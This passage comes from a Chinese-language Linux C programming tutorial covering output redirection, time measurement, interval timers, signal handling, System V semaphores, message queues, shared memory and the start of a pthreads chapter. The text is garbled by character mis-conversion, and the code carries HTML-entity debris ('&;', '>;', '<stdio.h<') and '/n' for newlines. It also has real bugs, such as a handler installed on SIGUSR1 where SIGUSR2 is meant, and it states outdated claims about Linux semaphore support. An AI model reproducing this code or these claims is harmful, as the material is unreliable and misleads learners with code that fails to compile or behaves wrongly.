exit(1);
}
if((fd=open(argv[1],O_WRONLY|O_CREAT|O_TRUNC,S_IRUSR|S_IWUSR))==-1)
{
fprintf(stderr,"Open %s Error:%s/n/a",argv[1],strerror(errno));
exit(1);
}
if(dup2(fd,STDOUT_FILENO)==-1)
{
fprintf(stderr,"Redirect Standard Out Error:%s/n/a",strerror(errno));
exit(1);
}
fprintf(stderr,"Now,please input string");
fprintf(stderr,"(To quit use CTRL+D)/n");
while(1)
{
fgets(buffer,BUFFER_SIZE,stdin);
if(feof(stdin))break;
write(STDOUT_FILENO,buffer,strlen(buffer));
}
exit(0);
}
好了,文件一章咱們就暫時先討論到這裏,學習好了文件的操做咱們其實已經能夠寫出一
些比較有用的程序了.咱們能夠編寫一個實現例如dir,mkdir,cp,mv等等經常使用的文件操做
命令了.
想不想本身寫幾個試一試呢?  

4)程序設計入門--時間概念
前言:Linux下的時間概念
這一章咱們學習Linux的時間表示和計算函數
時間的表示
時間的測量
計時器的使用
1
。時間表示 在程序當中,咱們常常要輸出系統當前的時間,好比咱們使用date命令
的輸出結果.這個時候咱們能夠使用下面兩個函數
#include <time.h>;

time_t time(time_t *tloc);
char *ctime(const time_t *clock);
time
函數返回從 1970 1 1 0點以來的秒數.存儲在time_t結構之中.不過這個函數的返
回值對於咱們來講沒有什麼實際意義.這個時候咱們使用第二個函數將秒數轉化爲字符串
..
這個函數的返回類型是固定的:一個可能值爲. Thu Dec 7 14:58:59 2000 這個字符串
的長度是固定的爲26
2
。時間的測量 有時候咱們要計算程序執行的時間.好比咱們要對算法進行時間分析
..
這個時候能夠使用下面這個函數.
#include <sys/time.h>;

int gettimeofday(struct timeval *tv,struct timezone *tz);
strut timeval {
long tv_sec; /*
秒數 */
long tv_usec; /*
微秒數 */
};
gettimeofday
將時間保存在結構tv之中.tz通常咱們使用NULL來代替.
#include <sys/time.h<
#include <stdio.h<
#include <math.h<
void function()
{
unsigned int i,j;
double y;
for(i=0;i<1000;i++)
for(j=0;j<1000;j++)
y=sin((double)i);
}
main()
{
struct timeval tpstart,tpend;
float timeuse;
gettimeofday(&tpstart,NULL);
function();
gettimeofday(&tpend,NULL);
timeuse=1000000*(tpend.tv_sec-tpstart.tv_sec)+
tpend.tv_usec-tpstart.tv_usec;
timeuse/=1000000;
printf("Used Time:%f/n",timeuse);
exit(0);
}
這個程序輸出函數的執行時間,咱們能夠使用這個來進行系統性能的測試,或者是函數算
法的效率分析.在我機器上的一個輸出結果是: Used Time:0.556070
3
。計時器的使用 Linux操做系統爲每個進程提供了3個內部間隔計時器.
ITIMER_REAL:
減小實際時間.到時的時候發出SIGALRM信號.
ITIMER_VIRTUAL:
減小有效時間(進程執行的時間).產生SIGVTALRM信號.
ITIMER_PROF:
減小進程的有效時間和系統時間(爲進程調度用的時間).這個常常和上面一
個使用用來計算系統內核時間和用戶時間.產生SIGPROF信號.
具體的操做函數是:
#include <sys/time.h>;
int getitimer(int which,struct itimerval *value);
int setitimer(int which,struct itimerval *newval,
struct itimerval *oldval);
struct itimerval {
struct timeval it_interval;
struct timeval it_value;
}
getitimer
函數獲得間隔計時器的時間值.保存在value setitimer函數設置間隔計時器
的時間值爲newval.並將舊值保存在oldval. which表示使用三個計時器中的哪個.
itimerval
結構中的it_value是減小的時間,當這個值爲0的時候就發出相應的信號了.
後設置爲it_interval.
#include <sys/time.h>;
#include <stdio.h>;
#include <unistd.h>;
#include <signal.h>;
#include <string.h>;
#define PROMPT "
時間已通過去了兩秒鐘/n/a"
char *prompt=PROMPT;
unsigned int len;
void prompt_info(int signo)
{
write(STDERR_FILENO,prompt,len);
}
void init_sigaction(void)
{
struct sigaction act;
act.sa_handler=prompt_info;
act.sa_flags=0;
sigemptyset(&act.sa_mask);
sigaction(SIGPROF,&act,NULL);
}
void init_time()
{
struct itimerval value;
value.it_value.tv_sec=2;
value.it_value.tv_usec=0;
value.it_interval=value.it_value;
setitimer(ITIMER_PROF,&value,NULL);
}
int main()
{
len=strlen(prompt);
init_sigaction();
init_time();
while(1);
exit(0);
}
這個程序每執行兩秒中以後會輸出一個提示.  

5)Linux程序設計入門--信號處理
Linux
下的信號事件
前言:這一章咱們討論一下Linux下的信號處理函數.
Linux
下的信號處理函數:
信號的產生
信號的處理
其它信號函數
一個實例
1
。信號的產生
Linux
下的信號能夠類比於DOS下的INT或者是Windows下的事件.在有一個信號發生時
候相信的信號就會發送給相應的進程.Linux下的信號有如下幾個. 咱們使用 kill -l
命令能夠獲得如下的輸出結果:
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL
5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE
9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2
13) SIGPIPE 14) SIGALRM 15) SIGTERM 17) SIGCHLD
18) SIGCONT 19) SIGSTOP 20) SIGTSTP 21) SIGTTIN
22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO
30) SIGPWR
關於這些信號的詳細解釋請查看man 7 signal的輸出結果. 信號事件的發生有兩個來源
:
一個是硬件的緣由(好比咱們按下了鍵盤),一個是軟件的緣由(好比咱們使用系統函數或
者是命令發出信號). 最經常使用的四個發出信號的系統函數是kill, raise, alarmsetit
imer
函數. setitimer函數咱們在計時器的使用 那一章再學習.
#include <sys/types.h>;
#include <signal.h>;
#include <unistd.h>;
int kill(pid_t pid,int sig);
int raise(int sig);
unisigned int alarm(unsigned int seconds);
kill
系統調用負責向進程發送信號sig.
若是pid是正數,那麼向信號sig被髮送到進程pid.
若是pid等於0,那麼信號sig被髮送到因此和pid進程在同一個進程組的進程
若是pid等於-1,那麼信號發給全部的進程表中的進程,除了最大的哪一個進程號.
若是pid因爲-1,0同樣,只是發送進程組是-pid.
咱們用最多的是第一個狀況.還記得咱們在守護進程那一節的例子嗎?咱們那個時候用這
個函數殺死了父進程守護進程的建立
raise
系統調用向本身發送一個sig信號.咱們能夠用上面那個函數來實現這個功能的.
alarm
函數和時間有點關係了,這個函數能夠在seconds秒後向本身發送一個SIGALRM信號
..
下面這個函數會有什麼結果呢?
#include <unistd.h>;
main()
{
unsigned int i;
alarm(1);
for(i=0;1;i++)
printf("I=%d",i);
}
SIGALRM
的缺省操做是結束進程,因此程序在1秒以後結束,你能夠看看你的最後I值爲多少
,
來比較一下你們的系統性能差別(個人是2232).
2
。信號操做 有時候咱們但願進程正確的執行,而不想進程受到信號的影響,好比我
們但願上面那個程序在1秒鐘以後不結束.這個時候咱們就要進行信號的操做了.
信號操做最經常使用的方法是信號屏蔽.信號屏蔽要用到下面的幾個函數.
#include <signal.h>;
int sigemptyset(sigset_t *set);
int sigfillset(sigset_t *set);
int sigaddset(sigset_t *set,int signo);
int sigdelset(sigset_t *set,int signo);
int sigismember(sigset_t *set,int signo);
int sigprocmask(int how,const sigset_t *set,sigset_t *oset);
sigemptyset
函數初始化信號集合set,set設置爲空.sigfillset也初始化信號集合,
是將信號集合設置爲全部信號的集合.sigaddset將信號signo加入到信號集合之中,sigd
elset
將信號從信號集合中刪除.sigismember查詢信號是否在信號集合之中.
sigprocmask
是最爲關鍵的一個函數.在使用以前要先設置好信號集合set.這個函數的做
用是將指定的信號集合set加入到進程的信號阻塞集合之中去,若是提供了oset那麼當前
的進程信號阻塞集合將會保存在oset裏面.參數how決定函數的操做方式.
SIG_BLOCK:
增長一個信號集合到當前進程的阻塞集合之中.
SIG_UNBLOCK:
從當前的阻塞集合之中刪除一個信號集合.
SIG_SETMASK:
將當前的信號集合設置爲信號阻塞集合.
以一個實例來解釋使用這幾個函數.
#include <signal.h>;
#include <stdio.h>;
#include <math.h>;
#include <stdlib.h>;
int main(int argc,char **argv)
{
double y;
sigset_t intmask;
int i,repeat_factor;
if(argc!=2)
{
fprintf(stderr,"Usage:%s repeat_factor/n/a",argv[0]);
exit(1);
}
if((repeat_factor=atoi(argv[1]))<1)repeat_factor=10;
sigemptyset(&intmask); /*
將信號集合設置爲空 */
sigaddset(&intmask,SIGINT); /*
加入中斷 Ctrl+C 信號*/
while(1)
{
/*
阻塞信號,咱們不但願保存原來的集合因此參數爲NULL*/
sigprocmask(SIG_BLOCK,&intmask,NULL);
fprintf(stderr,"SIGINT signal blocked/n");
for(i=0;i<repeat_factor;i++)y=sin((double)i);
fprintf(stderr,"Blocked calculation is finished/n");
/*
取消阻塞 */
sigprocmask(SIG_UNBLOCK,&intmask,NULL);
fprintf(stderr,"SIGINT signal unblocked/n");
for(i=0;i<repeat_factor;i++)y=sin((double)i);
fprintf(stderr,"Unblocked calculation is finished/n");
}
exit(0);
}
程序在運行的時候咱們要使用Ctrl+C來結束.若是咱們在第一計算的時候發出SIGINT信號
,
因爲信號已經屏蔽了,因此程序沒有反映.只有到信號被取消阻塞的時候程序纔會結束.
注意咱們只要發出一次SIGINT信號就能夠了,由於信號屏蔽只是將信號加入到信號阻塞
集合之中,並無丟棄這個信號.一旦信號屏蔽取消了,這個信號就會發生做用.
有時候咱們但願對信號做出及時的反映的,好比當擁護按下Ctrl+C,咱們不想什麼事情
也不作,咱們想告訴用戶你的這個操做很差,請不要重試,而不是什麼反映也沒有的. 這個
時候咱們要用到sigaction函數.
#include <signal.h>;

int sigaction(int signo,const struct sigaction *act,
struct sigaction *oact);
struct sigaction {
void (*sa_handler)(int signo);
void (*sa_sigaction)(int siginfo_t *info,void *act);
sigset_t sa_mask;
int sa_flags;
void (*sa_restore)(void);
}
這個函數和結構看起來是否是有點恐怖呢.不要被這個嚇着了,其實這個函數的使用至關
簡單的.咱們先解釋一下各個參數的含義. signo很簡單就是咱們要處理的信號了,能夠是
任何的合法的信號.有兩個信號不可以使用(SIGKILLSIGSTOP). act包含咱們要對這個
信號進行如何處理的信息.oact更簡單了就是之前對這個函數的處理信息了,主要用來保
存信息的,通常用NULLOK.
信號結構有點複雜.沒關係咱們慢慢的學習.
sa_handler
是一個函數型指針,這個指針指向一個函數,這個函數有一個參數.這個函數就
是咱們要進行的信號操做的函數. sa_sigaction,sa_restoresa_handler差很少的,
是參數不一樣罷了.這兩個元素咱們不多使用,就無論了.
sa_flags
用來設置信號操做的各個狀況.通常設置爲0好了.sa_mask咱們已經學習過了
在使用的時候咱們用sa_handler指向咱們的一個信號操做函數,就能夠了.sa_handler
兩個特殊的值:SIG_DELSIG_IGN.SIG_DEL是使用缺省的信號操做函數,SIG_IGN是使用
忽略該信號的操做函數.
這個函數複雜,咱們使用一個實例來講明.下面這個函數能夠捕捉用戶的CTRL+C信號.並輸
出一個提示語句.
#include <signal.h>;
#include <stdio.h>;
#include <string.h>;
#include <errno.h>;
#include <unistd.h>;
#define PROMPT "
你想終止程序嗎?"
char *prompt=PROMPT;
void ctrl_c_op(int signo)
{
write(STDERR_FILENO,prompt,strlen(prompt));
}
int main()
{
struct sigaction act;
act.sa_handler=ctrl_c_op;
sigemptyset(&act.sa_mask);
act.sa_flags=0;
if(sigaction(SIGINT,&act,NULL)<0)
{
fprintf(stderr,"Install Signal Action Error:%s/n/a",strerror(errno));
exit(1);
}
while(1);
}
在上面程序的信號操做函數之中,咱們使用了write函數而沒有使用fprintf函數.是由於
咱們要考慮到下面這種狀況.若是咱們在信號操做的時候又有一個信號發生,那麼程序該
如何運行呢? 爲了處理在信號處理函數運行的時候信號的發生,咱們須要設置sa_mask
. 咱們將咱們要屏蔽的信號添加到sa_mask結構當中去,這樣這些函數在信號處理的時
候就會被屏蔽掉的.
3
。其它信號函數 因爲信號的操做和處理比較複雜,咱們再介紹幾個信號操做函數.

#include <unistd.h>;
#include <signal.h>;
int pause(void);
int sigsuspend(const sigset_t *sigmask);
pause
函數很簡單,就是掛起進程直到一個信號發生了.sigsuspend也是掛起進程只是在
調用的時候用sigmask取代當前的信號阻塞集合.
#include <sigsetjmp>;
int sigsetjmp(sigjmp_buf env,int val);
void siglongjmp(sigjmp_buf env,int val);
還記得goto函數或者是setjmplongjmp函數嗎.這兩個信號跳轉函數也能夠實現程序的
跳轉讓咱們能夠從函數之中跳轉到咱們須要的地方.
因爲上面幾個函數,咱們不多遇到,因此只是說明了一下,詳細狀況請查看聯機幫助.
4
。一個實例 還記得咱們在守護進程建立的哪一個程序嗎?守護進程在這裏咱們把那個
程序增強一下. 下面這個程序會在也能夠檢查用戶的郵件.不過提供了一個開關,若是用
戶不想程序提示有新的郵件到來,能夠向程序發送SIGUSR2信號,若是想程序提供提示能夠
發送SIGUSR1信號.
#include <unistd.h>;
#include <stdio.h>;
#include <errno.h>;
#include <fcntl.h>;
#include <signal.h>;
#include <string.h>;
#include <pwd.h>;
#include <sys/types.h>;
#include <sys/stat.h>;
/* Linux
的默任我的的郵箱地址是 /var/spool/mail/ */
#define MAIL_DIR "/var/spool/mail/"
/*
睡眠10秒鐘 */
#define SLEEP_TIME 10
#define MAX_FILENAME 255
unsigned char notifyflag=1;
long get_file_size(const char *filename)
{
struct stat buf;
if(stat(filename,&;buf)==-1)
{
if(errno==ENOENT)return 0;
else return -1;
}
return (long)buf.st_size;
}
void send_mail_notify(void)
{
fprintf(stderr,"New mail has arrived/007/n");
}
void turn_on_notify(int signo)
{
notifyflag=1;
}
void turn_off_notify(int signo)
{
notifyflag=0;
}
int check_mail(const char *filename)
{
long old_mail_size,new_mail_size;
sigset_t blockset,emptyset;
sigemptyset(&;blockset);
sigemptyset(&;emptyset);
sigaddset(&;blockset,SIGUSR1);
sigaddset(&;blockset,SIGUSR2);
old_mail_size=get_file_size(filename);
if(old_mail_size<0)return 1;
if(old_mail_size>;0) send_mail_notify();
sleep(SLEEP_TIME);
while(1)
{
if(sigprocmask(SIG_BLOCK,&;blockset,NULL)<0) return 1;
while(notifyflag==0)sigsuspend(&;emptyset);
if(sigprocmask(SIG_SETMASK,&;emptyset,NULL)<0) return 1;
new_mail_size=get_file_size(filename);
if(new_mail_size>;old_mail_size)send_mail_notify;
old_mail_size=new_mail_size;
sleep(SLEEP_TIME);
}
}
int main(void)
{
char mailfile[MAX_FILENAME];
struct sigaction newact;
struct passwd *pw;
if((pw=getpwuid(getuid()))==NULL)
{
fprintf(stderr,"Get Login Name Error:%s/n/a",strerror(errno));
exit(1);
}
strcpy(mailfile,MAIL_DIR);
strcat(mailfile,pw->;pw_name);
newact.sa_handler=turn_on_notify;
newact.sa_flags=0;
sigemptyset(&;newact.sa_mask);
sigaddset(&;newact.sa_mask,SIGUSR1);
sigaddset(&;newact.sa_mask,SIGUSR2);
if(sigaction(SIGUSR1,&;newact,NULL)<0)
fprintf(stderr,"Turn On Error:%s/n/a",strerror(errno));
newact.sa_handler=turn_off_notify;
if(sigaction(SIGUSR1,&;newact,NULL)<0)
fprintf(stderr,"Turn Off Error:%s/n/a",strerror(errno));
check_mail(mailfile);
exit(0);
}
信號操做是一件很是複雜的事情,比咱們想象之中的複雜程度還要複雜,若是你想完全的
弄清楚信號操做的各個問題,那麼除了大量的練習之外還要多看聯機手冊.不過若是咱們
只是通常的使用的話,有了上面的幾個函數也就差很少了. 咱們就介紹到這裏了.  

6)Linux程序設計入門--消息管理
前言:Linux下的進程通訊(IPC)
Linux
下的進程通訊(IPC)
POSIX
無名信號量
System V
信號量
System V
消息隊列
System V
共享內存
1
POSIX無名信號量 若是你學習過操做系統,那麼確定熟悉PV操做了.PV操做是原子
操做.也就是操做是不能夠中斷的,在必定的時間內,只可以有一個進程的代碼在CPU上面
執行.在系統當中,有時候爲了順利的使用和保護共享資源,你們提出了信號的概念. 假設
咱們要使用一臺打印機,若是在同一時刻有兩個進程在向打印機輸出,那麼最終的結果會
是什麼呢.爲了處理這種狀況,POSIX標準提出了有名信號量和無名信號量的概念,因爲Li
nux
只實現了無名信號量,咱們在這裏就只是介紹無名信號量了. 信號量的使用主要是用
來保護共享資源,使的資源在一個時刻只有一個進程所擁有.爲此咱們能夠使用一個信號
.當信號燈的值爲某個值的時候,就代表此時資源不能夠使用.不然就表>;示能夠使用.
爲了提供效率,系統提供了下面幾個函數
POSIX
的無名信號量的函數有如下幾個:
#include <semaphore.h>;
int sem_init(sem_t *sem,int pshared,unsigned int value);
int sem_destroy(sem_t *sem);
int sem_wait(sem_t *sem);
int sem_trywait(sem_t *sem);
int sem_post(sem_t *sem);
int sem_getvalue(sem_t *sem);
sem_init
建立一個信號燈,並初始化其值爲value.pshared決定了信號量可否在幾個進程
間共享.因爲目前Linux尚未實現進程間共享信號燈,因此這個值只可以取0. sem_dest
roy
是用來刪除信號燈的.sem_wait調用將阻塞進程,直到信號燈的值大於0.這個函數返回
的時候自動的將信號燈的值的件一.sem_postsem_wait相反,是將信號燈的內容加一同
時發出信號喚醒等待的進程..sem_trywaitsem_wait相同,不過不阻塞的,當信號燈的值
0的時候返回EAGAIN,表示之後重試.sem_getvalue獲得信號燈的值.
因爲Linux不支持,咱們沒有辦法用源程序解釋了.
這幾個函數的使用至關簡單的.好比咱們有一個程序要向一個系統打印機打印兩頁.咱們
首先建立一個信號燈,並使其初始值爲1,表示咱們有一個資源可用.而後一個進程調用se
m_wait
因爲這個時候信號燈的值爲1,因此這個函數返回,打印機開始打印了,同時信號燈
的值爲0 . 若是第二個進程要打印,調用sem_wait時候,因爲信號燈的值爲0,資源不可
,因而被阻塞了.當第一個進程打印完成之後,調用sem_post信號燈的值爲1,這個時候
系統通知第二個進程,因而第二個進程的sem_wait返回.第二個進程開始打印了.
不過咱們能夠使用線程來解決這個問題的.咱們會在後面解釋什麼是線程的.編譯包含上
面這幾個函數的程序要加上 -lrt選賢,以鏈接librt.so
2
System V信號量 爲了解決上面哪一個問題,咱們也能夠使用System V信號量.很幸運的
Linux實現了System V信號量.這樣咱們就能夠用實例來解釋了. System V信號量的函
數主要有下面幾個.
#include <sys/types.h>;
#include <sys/ipc.h>;
#include <sys/sem.h>;
key_t ftok(char *pathname,char proj);
int semget(key_t key,int nsems,int semflg);
int semctl(int semid,int semnum,int cmd,union semun arg);
int semop(int semid,struct sembuf *spos,int nspos);
struct sembuf {
short sem_num; /*
使用那一個信號 */
short sem_op; /*
進行什麼操做 */
short sem_flg; /*
操做的標誌 */
};
ftok
函數是根據pathnameproj來建立一個關鍵字.semget建立一個信號量.成功時返回
信號的ID,key是一個關鍵字,能夠是用ftok建立的也能夠是IPC_PRIVATE代表由系統選用
一個關鍵字. nsems代表咱們建立的信號個數.semflg是建立的權限標誌,和咱們建立一個
文件的標誌相同.
semctl
對信號量進行一系列的控制.semid是要操做的信號標誌,semnum是信號的個數,cm
d
是操做的命令.常常用的兩個值是:SETVAL(設置信號量的值)IPC_RMID(刪除信號燈).
arg
是一個給cmd的參數.
semop
是對信號進行操做的函數.semid是信號標誌,spos是一個操做數組代表要進行什麼
操做,nspos代表數組的個數. 若是sem_op大於0,那麼操做將sem_op加入到信號量的值中
,
並喚醒等待信號增長的進程. 若是爲0,當信號量的值是0的時候,函數返回,不然阻塞直
到信號量的值爲0. 若是小於0,函數判斷信號量的值加上這個負值.若是結果爲0喚醒等待
信號量爲0的進程,若是小與0函數阻塞.若是大於0,那麼從信號量裏面減去這個值並返回
..
下面咱們一以一個實例來講明這幾個函數的使用方法.這個程序用標準錯誤輸出來代替我
們用的打印機.
#include <stdio.h>;
#include <unistd.h>;
#include <limits.h>;
#include <errno.h>;
#include <string.h>;
#include <stdlib.h>;
#include <sys/stat.h>;
#include <sys/wait.h>;
#include <sys/ipc.h>;
#include <sys/sem.h>;
#define PERMS S_IRUSR|S_IWUSR
void init_semaphore_struct(struct sembuf *sem,int semnum,
int semop,int semflg)
{
/*
初始話信號燈結構 */
sem->;sem_num=semnum;
sem->;sem_op=semop;
sem->;sem_flg=semflg;
}
int del_semaphore(int semid)
{
/*
信號燈並不隨程序的結束而被刪除,若是咱們沒刪除的話(1改成0)
能夠用ipcs命令查看到信號燈,ipcrm能夠刪除信號燈的
*/
#if 1
return semctl(semid,0,IPC_RMID);
#endif
}
int main(int argc,char **argv)
{
char buffer[MAX_CANON],*c;
int i,n;
int semid,semop_ret,status;
pid_t childpid;
struct sembuf semwait,semsignal;
if((argc!=2)||((n=atoi(argv[1]))<1))
{
fprintf(stderr,"Usage:%s number/n/a",argv[0]);
exit(1);
}
/*
使用IPC_PRIVATE 表示由系統選擇一個關鍵字來建立 */
/*
建立之後信號燈的初始值爲0 */
if((semid=semget(IPC_PRIVATE,1,PERMS))==-1)
{
fprintf(stderr,"[%d]:Acess Semaphore Error:%s/n/a",
getpid(),strerror(errno));
exit(1);
}
/* semwait
是要求資源的操做(-1) */
init_semaphore_struct(&semwait,0,-1,0);
/* semsignal
是釋放資源的操做(+1) */
init_semaphore_struct(&semsignal,0,1,0);
/*
開始的時候有一個系統資源(一個標準錯誤輸出) */
if(semop(semid,&semsignal,1)==-1)
{
fprintf(stderr,"[%d]:Increment Semaphore Error:%s/n/a",
getpid(),strerror(errno));
if(del_semaphore(semid)==-1)
fprintf(stderr,"[%d]:Destroy Semaphore Error:%s/n/a",
getpid(),strerror(errno));
exit(1);
}
/*
建立一個進程鏈 */
for(i=0;i<n;i++)
if(childpid=fork()) break;
sprintf(buffer,"[i=%d]-->;[Process=%d]-->;[Parent=%d]-->;[Child=%d]/n",
i,getpid(),getppid(),childpid);
c=buffer;
/*
這裏要求資源,進入原子操做 */
while(((semop_ret=semop(semid,&semwait,1))==-1)&&(errno==EINTR));
if(semop_ret==-1)
{
fprintf(stderr,"[%d]:Decrement Semaphore Error:%s/n/a",
getpid(),strerror(errno));
}
else
{
while(*c!='/0')fputc(*c++,stderr);
/*
原子操做完成,趕快釋放資源 */
while(((semop_ret=semop(semid,&semsignal,1))==-1)&&(errno==EINTR));
if(semop_ret==-1)
fprintf(stderr,"[%d]:Increment Semaphore Error:%s/n/a",
getpid(),strerror(errno));
}
/*
不可以在其餘進程反問信號燈的時候,咱們刪除了信號燈 */
while((wait(&status)==-1)&&(errno==EINTR));
/*
信號燈只可以被刪除一次的 */
if(i==1)
if(del_semaphore(semid)==-1)
fprintf(stderr,"[%d]:Destroy Semaphore Error:%s/n/a",
getpid(),strerror(errno));
exit(0);
}
信號燈的主要用途是保護臨界資源(在一個時刻只被一個進程所擁有).
3
SystemV消息隊列 爲了便於進程之間通訊,咱們能夠使用管道通訊 SystemV也提供了
一些函數來實現進程的通訊.這就是消息隊列.
#include <sys/types.h>;
#include <sys/ipc.h>;
#include <sys/msg.h>;
int msgget(key_t key,int msgflg);
int msgsnd(int msgid,struct msgbuf *msgp,int msgsz,int msgflg);
int msgrcv(int msgid,struct msgbuf *msgp,int msgsz,
long msgtype,int msgflg);
int msgctl(Int msgid,int cmd,struct msqid_ds *buf);

struct msgbuf {
long msgtype; /*
消息類型 */
....... /*
其餘數據類型 */
}
msgget
函數和semget同樣,返回一個消息隊列的標誌.msgctlsemctl是對消息進行控制
.. msgsnd
msgrcv函數是用來進行消息通信的.msgid是接受或者發送的消息隊列標誌.
msgp
是接受或者發送的內容.msgsz是消息的大小. 結構msgbuf包含的內容是至少有一個
msgtype.其餘的成分是用戶定義的.對於發送函數msgflg指出緩衝區用完時候的操做.
接受函數指出無消息時候的處理.通常爲0. 接收函數msgtype指出接收消息時候的操做.

若是msgtype=0,接收消息隊列的第一個消息.大於0接收隊列中消息類型等於這個值的第
一個消息.小於0接收消息隊列中小於或者等於msgtype絕對值的全部消息中的最小一個消
. 咱們以一個實例來解釋進程通訊.下面這個程序有serverclient組成.先運行服務
端後運行客戶端.
服務端 server.c
#include <stdio.h>;
#include <string.h>;
#include <stdlib.h>;
#include <errno.h>;
#include <unistd.h>;
#include <sys/types.h>;
#include <sys/ipc.h>;
#include <sys/stat.h>;
#include <sys/msg.h>;
#define MSG_FILE "server.c"
#define BUFFER 255
#define PERM S_IRUSR|S_IWUSR
struct msgtype {
long mtype;
char buffer[BUFFER+1];
};
int main()
{
struct msgtype msg;
key_t key;
int msgid;
if((key=ftok(MSG_FILE,'a'))==-1)
{
fprintf(stderr,"Creat Key Error:%s/a/n",strerror(errno));
exit(1);
}
if((msgid=msgget(key,PERM|IPC_CREAT|IPC_EXCL))==-1)
{
fprintf(stderr,"Creat Message Error:%s/a/n",strerror(errno));
exit(1);
}
while(1)
{
msgrcv(msgid,&msg,sizeof(struct msgtype),1,0);
fprintf(stderr,"Server Receive:%s/n",msg.buffer);
msg.mtype=2;
msgsnd(msgid,&msg,sizeof(struct msgtype),0);
}
exit(0);
}
----------------------------------------------------------------------------
----
客戶端(client.c)
#include <stdio.h>;
#include <string.h>;
#include <stdlib.h>;
#include <errno.h>;
#include <sys/types.h>;
#include <sys/ipc.h>;
#include <sys/msg.h>;
#include <sys/stat.h>;
#define MSG_FILE "server.c"
#define BUFFER 255
#define PERM S_IRUSR|S_IWUSR
struct msgtype {
long mtype;
char buffer[BUFFER+1];
};
int main(int argc,char **argv)
{
struct msgtype msg;
key_t key;
int msgid;
if(argc!=2)
{
fprintf(stderr,"Usage:%s string/n/a",argv[0]);
exit(1);
}
if((key=ftok(MSG_FILE,'a'))==-1)
{
fprintf(stderr,"Creat Key Error:%s/a/n",strerror(errno));
exit(1);
}
if((msgid=msgget(key,PERM))==-1)
{
fprintf(stderr,"Creat Message Error:%s/a/n",strerror(errno));
exit(1);
}
msg.mtype=1;
strncpy(msg.buffer,argv[1],BUFFER);
msgsnd(msgid,&msg,sizeof(struct msgtype),0);
memset(&msg,'/0',sizeof(struct msgtype));
msgrcv(msgid,&msg,sizeof(struct msgtype),2,0);
fprintf(stderr,"Client receive:%s/n",msg.buffer);
exit(0);
}
注意服務端建立的消息隊列最後沒有刪除,咱們要使用ipcrm命令來刪除的.
4
SystemV共享內存 還有一個進程通訊的方法是使用共享內存.SystemV提供瞭如下幾個
函數以實現共享內存.
#include <sys/types.h>;
#include <sys/ipc.h>;
#include <sys/shm.h>;
int shmget(key_t key,int size,int shmflg);
void *shmat(int shmid,const void *shmaddr,int shmflg);
int shmdt(const void *shmaddr);
int shmctl(int shmid,int cmd,struct shmid_ds *buf);
shmget
shmctl沒有什麼好解釋的.size是共享內存的大小. shmat是用來鏈接共享內存
.shmdt是用來斷開共享內存的.不要被共享內存詞語嚇倒,共享內存其實很容易實現和
使用的.shmaddr,shmflg咱們只要用0代替就能夠了.在使用一個共享內存以前咱們調用s
hmat
獲得共享內存的開始地址,使用結束之後咱們使用shmdt斷開這個內存.
#include <stdio.h>;
#include <string.h>;
#include <errno.h>;
#include <unistd.h>;
#include <sys/stat.h>;
#include <sys/types.h>;
#include <sys/ipc.h>;
#include <sys/shm.h>;
#define PERM S_IRUSR|S_IWUSR
int main(int argc,char **argv)
{
int shmid;
char *p_addr,*c_addr;
if(argc!=2)
{
fprintf(stderr,"Usage:%s/n/a",argv[0]);
exit(1);
}
if((shmid=shmget(IPC_PRIVATE,1024,PERM))==-1)
{
fprintf(stderr,"Create Share Memory Error:%s/n/a",strerror(errno));
exit(1);
}
if(fork())
{
p_addr=shmat(shmid,0,0);
memset(p_addr,'/0',1024);
strncpy(p_addr,argv[1],1024);
exit(0);
}
else
{
c_addr=shmat(shmid,0,0);
printf("Client get %s",c_addr);
exit(0);
}
}
這個程序是父進程將參數寫入到共享內存,而後子進程把內容讀出來.最後咱們要使用ip
crm
釋放資源的.先用ipcs找出ID而後用ipcrm shm ID刪除.
後記:
進程通訊(IPC)是網絡程序的基礎,在不少的網絡程序當中會大量的使用進程通訊的概念
和知識.其實進程通訊是一件很是複雜的事情,我在這裏只是簡單的介紹了一下.若是你想
學習進程通訊的詳細知識,最好的辦法是本身不斷的寫程序和看聯機手冊.如今網絡上有
了不少的知識能夠去參考.惋惜我看到的不少都是英文編寫的.若是你找到了有中文的版
本請儘快告訴我.謝謝!

7)Linux程序設計入門--線程操做
前言:Linux下線程的建立
介紹在Linux下線程的建立和基本的使用. Linux下的線程是一個很是複雜的問題,
於我對線程的學習不時很好,我在這裏只是簡單的介紹線程的建立和基本的使用,關於線
程的高級使用(如線程的屬性,線程的互斥,線程的同步等等問題)能夠參考我後面給出的
資料. 如今關於線程的資料在網絡上能夠找到許多英文資料,後面我羅列了許多連接,
線程的高級屬性感興趣的話能夠參考一下. 等到我對線程的瞭解比較深入的時候,我回來
完成這篇文章.若是您對線程瞭解的詳盡我也很是高興可以由您來完善.
先介紹什麼是線程.咱們編寫的程序大多數能夠當作是單線程的.就是程序是按照必定的
順序來執行.若是咱們使用線程的話,程序就會在咱們建立線成的地方分叉,變成兩個"
"在執行.粗略的看來好象和子進程差很少的,其實否則.子進程是經過拷貝父進程的地
址空間來執行的.而線程是經過共享程序代碼來執行的,講的通俗一點就是線程的相同的
代碼會被執行幾回.使用線程的好處是能夠節省資源,因爲線程是經過共享代碼的,因此沒
有進程調度那麼複雜.
線程的建立和使用
線程的建立是用下面的幾個函數來實現的.
#include <pthread.h>;
int pthread_create(pthread_t *thread,pthread_attr_t *attr,
void *(*start_routine)(void *),void *arg);
void pthread_exit(void *retval);
int pthread_join(pthread *thread,void **thread_return);
pthread_create
建立一個線程,thread是用來代表建立線程的ID,attr指出線程建立時候
的屬性,咱們用NULL來代表使用缺省屬性.start_routine函數指針是線程建立成功後開始
執行的函數,arg是這個函數的惟一一個參數.代表傳遞給start_routine的參數. pthrea
d_exit
函數和exit函數相似用來退出線程.這個函數結束線程,釋放函數的資源,並在最後
阻塞,直到其餘線程使用pthread_join函數等待它.而後將*retval的值傳遞給**thread_
return.
因爲這個函數釋放因此的函數資源,因此retval不可以指向函數的局部變量. pt
hread_join
wait調用同樣用來等待指定的線程. 下面咱們使用一個實例來解釋一下使
用方法.在實踐中,咱們常常要備份一些文件.下面這個程序能夠實現當前目錄下的全部文
件備份.備份後的後綴名爲bak
#include <stdio.h>;
#include <unistd.h>;
#include <stdlib.h>;
#include <string.h>;
#include <errno.h>;
#include <pthread.h>;
